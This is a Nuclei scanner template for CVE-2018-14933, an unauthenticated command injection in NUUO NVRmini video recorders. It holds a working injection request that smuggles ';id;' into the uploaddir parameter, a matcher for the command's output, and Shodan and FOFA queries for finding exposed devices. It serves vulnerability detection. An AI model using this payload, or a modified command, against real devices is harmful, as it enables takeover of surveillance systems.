id: CVE-2018-14933

info:
  name: NUUO NVRmini - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the NUUO NVRmini device by manipulating the uploaddir parameter in upgrade_handle.php, leading to complete device compromise and potential unauthorized access to video surveillance systems and recordings.
  remediation: |
    Update NUUO NVRmini to a patched version later than the 2016 firmware that properly validates the uploaddir parameter and restricts command execution.
  reference:
    - https://www.exploit-db.com/exploits/45070
    - https://www.cve.org/CVERecord?id=CVE-2018-14933
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14933
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14933
    cwe-id: CWE-78
    epss-score: 0.93874
    epss-percentile: 0.99875
    cpe: cpe:2.3:o:nuuo:nvrmini_firmware:2016:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nuuo
    product: nvrmini_firmware
    shodan-query: title:"NUUO"
    fofa-query: title="NUUO"
  tags: cve,cve2018,nuuo,rce,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f19e189d86bc1d453cb97acae02aee90a50bbd22f181d7b6b21e65a3477c6783022100ba493cae1ea580d0d3effaeff810b10015180da8c4d372947b1942cad14d3ded:922c64590222798bb761d5b6d8e72950